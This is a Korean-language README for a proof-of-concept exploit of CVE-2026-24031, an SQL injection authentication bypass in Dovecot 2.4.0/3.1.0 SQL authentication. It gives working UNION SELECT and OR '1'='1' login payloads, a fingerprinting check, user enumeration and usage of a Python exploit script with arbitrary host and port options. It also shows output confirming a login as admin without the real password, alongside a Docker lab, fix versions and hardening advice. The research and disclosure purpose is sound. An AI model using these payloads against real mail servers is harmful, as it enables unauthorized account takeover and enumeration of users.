
Dovecot SQL 인증 우회를 위한 독립형 Python PoC: 실제 비밀번호 없이 임의의 사용자로 로그인하고, 취약한 2.4.0/3.1.0 IMAP/POP3 서버에서 사용자 이름을 열거합니다.
이 저장소는 CVE-2026-24031에 대한 개념 증명(PoC) 인증 우회 익스플로잇을 포함합니다. 이 취약점은 Dovecot 2.4.0 / 3.1.0에서 회귀(regression)로 도입된 Dovecot SQL 기반 인증의 SQL 인젝션입니다. 테스트한 Docker 랩(Dovecot 2.4.0 + PostgreSQL)에서 PoC는 실제 비밀번호를 모르는 상태에서 임의 사용자로 로그인할 수 있으며, 사용자 열거도 가능합니다.
경고
이 PoC는 메일 서버에 대해 인증되지 않은 인증 우회를 수행합니다. 소유한 랩이나 명시적으로 테스트 권한을 부여받은 대상에만 사용하세요. 서버 상태를 변경하지는 않지만, 인증 과정을 실행하며 로그에 실패한 로그인 항목이 남을 수 있습니다.
관리자가 auth_username_chars 구성 지시문을 비우면(빈 값으로 설정하면) Dovecot SQL 기반 인증이 취약해집니다. auth_username_chars는 일반적으로 사용자 이름이 SQL passdb 쿼리에 삽입되기 전에 사용자 이름에 허용되는 문자를 제한하는 입력 필터 역할을 합니다.
auth_username_chars = 가 비어 있으면 값이 sql_escape_string() 없이 쿼리로 전달됩니다. 따라서 SQL 메타문자를 포함하는 조작된 사용자 이름이 쿼리의 일부가 됩니다:
SELECT username AS user, password FROM users
WHERE username = '%{user}' AND active = TRUE
다음 페이로드는 공격자가 선택한 비밀번호를 가진 VICTIM 행을 쿼리가 반환하도록 만듭니다:
' UNION SELECT 'VICTIM','{PLAIN}12345' --
{PLAIN}은 데이터베이스가 아닌 Dovecot이 해석하므로 비밀번호 체계가 네이티브로 처리되며, 이 트릭은 pgsql, mysql, mariadb 및 sqlite에서 동작합니다. 그런 다음 12345를 비밀번호로 보내면 일치하여 실제 비밀번호를 모르는 상태에서 VICTIM으로 LOGIN OK를 얻습니다.
결과 쿼리는 다음과 같습니다:
SELECT username AS user, password FROM users
WHERE username = '' UNION SELECT 'VICTIM','{PLAIN}12345' -- ' AND active = TRUE
이는 Dovecot 2.4.0에서 도입된 회귀이며 3.1.0에도 존재합니다. 이전 2.2.x / 2.3.x 릴리스는 사용자 이름을 이스케이프하므로 취약하지 않습니다. 이 결함은 2.4.3 및 3.1.4에서 수정되었습니다 (OXDC-ADV-2026-0001, DOV-8781).
이 취약점은 다음 모두에 해당할 때만 적용됩니다:
pgsql, mysql, mariadb 또는 sqlite를 사용하는 SQL passdb (driver = sql);auth_username_chars = (비어 있음) — 관리자가 설정한 트리거 조건;PoC는 Dovecot 2.4.0 (공식 릴리스 태그, daeb6bc5) + PostgreSQL에 대해 검증되었습니다.
사용자 이름 ' OR '1'='1' -- 와 임의의 비밀번호로 인증합니다. 취약한 서버에서는 쿼리가 변경되므로 Dovecot은 일반적인 AUTHENTICATIONFAILED 대신 a1 NO [UNAVAILABLE] Temporary authentication failure.를 반환합니다. 이는 사용자 이름이 이스케이프되지 않은 채 SQL 쿼리에 도달했음을 나타내는 지문입니다.
다음 사용자 이름으로 인증합니다:
' UNION SELECT 'VICTIM','{PLAIN}12345' --
비밀번호는 12345입니다. UNION 행이 VICTIM의 password 열을 덮어쓰고, {PLAIN}은 Dovecot이 해석하므로 비밀번호 검사가 성공합니다.
쿼리 결과 형태가 "사용자 존재"와 "사용자 미존재" 사이에서 다르므로(행 수 및 응답 상태), 서버는 사용자 이름의 존재 여부를 유출합니다. 이는 영향을 받는 모든 백엔드에서 동작합니다.
PoC는 자체 포함된 Python 3 스크립트입니다(표준 라이브러리만 사용). 취약한 랩을 시작하고 익스플로잇을 실행합니다:
./run.sh
run.sh는 Docker 랩(lab/docker-compose.yml)을 빌드하고 시작한 다음 127.0.0.1:14193에서 IMAPS를 기다렸다가 PoC를 실행합니다. 랩은 의도적으로 취약한 구성과 PostgreSQL 데이터베이스를 사용해 공식 릴리스 타르볼에서 Dovecot 2.4.0을 빌드합니다.
동일한 수동 단계:
docker compose -f lab/docker-compose.yml up -d --build
python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap
PoC 옵션:
python3 cve-2026-24031-poc.py <HOST> [PORT] [DELAY] [PROTO]
HOST IP or hostname (required)
PORT 993 = IMAPS/TLS (default), 143 = IMAP, 995 = POP3S, 110 = POP3
DELAY seconds between attempts (default 0.5)
PROTO imap (default) | pop3
Optional environment variables:
CVE24031_USER username to impersonate (default: admin)
CVE24031_PASS password chosen for the UNION row (default: 12345)
랩 데이터베이스에는 admin/admin123, alice/alicepass, bob/bobpass, postmaster/postpass, victim/supersecret 사용자가 미리 등록되어 있습니다. PoC는 admin의 비밀번호를 모르는 상태에서 admin으로 가장합니다.
PoC는 Docker 랩에서 종단 간(end-to-end) 검증되었습니다. admin 사용자의 실제 비밀번호는 admin123이며, PoC는 12345를 사용해 admin으로 로그인합니다.
$ python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap
[*] Target : 127.0.0.1:14193 (imap, plain)
[*] Victim : admin imposed password: 12345
[*] TARGET CONFIG: Dovecot 2.4.0/3.1.0 + driver=sql + auth_username_chars EMPTY
=== PHASE 1: UNION SELECT (login as victim without real password) ===
[UN ] user="' UNION SELECT 'admin','{PLAIN}12345' -- " pwd='12345' -> OK
============================================================
[!] >>>>>> BYPASS CONFIRMED <<<<<<
[!] Logged in as 'admin' without knowing the real password.
[!] CVE-2026-24031 exploited.
정상 대조군(legitimate-control) 및 비이스케이프 탐지 단계를 포함한 전체 비식별화 트랜스크립트는 docs/example-output.txt에 있습니다.
이 README 상단의 애니메이션 데모(assets/CVE-2026-24031.gif)는 실행 중인 랩을 대상으로 한 실제 세션에서 녹화되었습니다. 다음 명령으로 다시 생성할 수 있습니다:
# with the lab up (docker compose -f lab/docker-compose.yml up -d)
asciinema rec --cols 120 --rows 34 -c "bash demo.sh" demo.cast
agg --font-size 16 --fps-cap 30 --speed 1.2 --theme nord \
--cols 120 --rows 34 demo.cast assets/CVE-2026-24031.gif
demo.sh는 라이브 데모를 구동하며, demo.cast는 GIF 렌더링에 사용된 원시 asciinema 녹화본입니다.
권고(OXDC-ADV-2026-0001, DOV-8781)는 이미 업스트림에서 공개되었습니다. Dovecot 2.4.3 / 3.1.4는 사용자 이름을 SQL 쿼리에 삽입하기 전에 이스케이프합니다. 따라서 이 저장소에는 수정 사항이 중복 구현되어 있지 않습니다. 권장되는 보안 강화 방법은 auth_username_chars를 절대 비우지 않거나 수정된 릴리스로 업그레이드하는 것입니다.
취약점 발견: whisperer@yeswehack.
연구 및 익스플로잇 구현: A. Ramos <[email protected]>
(트위터: @aramosf).
CVE-2026-24031 Dovecot SQL 인증 우회 (인증 우회 + 사용자 열거) PoC
| 버전 | 상태 |
|---|
| Dovecot 2.2.x | 영향 없음 (사용자 이름이 이스케이프됨) |
| Dovecot 2.3.x | 영향 없음 (사용자 이름이 이스케이프됨) |
| Dovecot 2.4.0 | 취약 (회귀: 사용자 이름이 이스케이프되지 않음) |
| Dovecot 2.4.3+ | 수정됨 (사용자 이름이 이스케이프됨) |
| Dovecot 3.1.0 | 취약 (동일한 회귀) |
| Dovecot 3.1.4+ | 수정됨 (사용자 이름이 이스케이프됨) |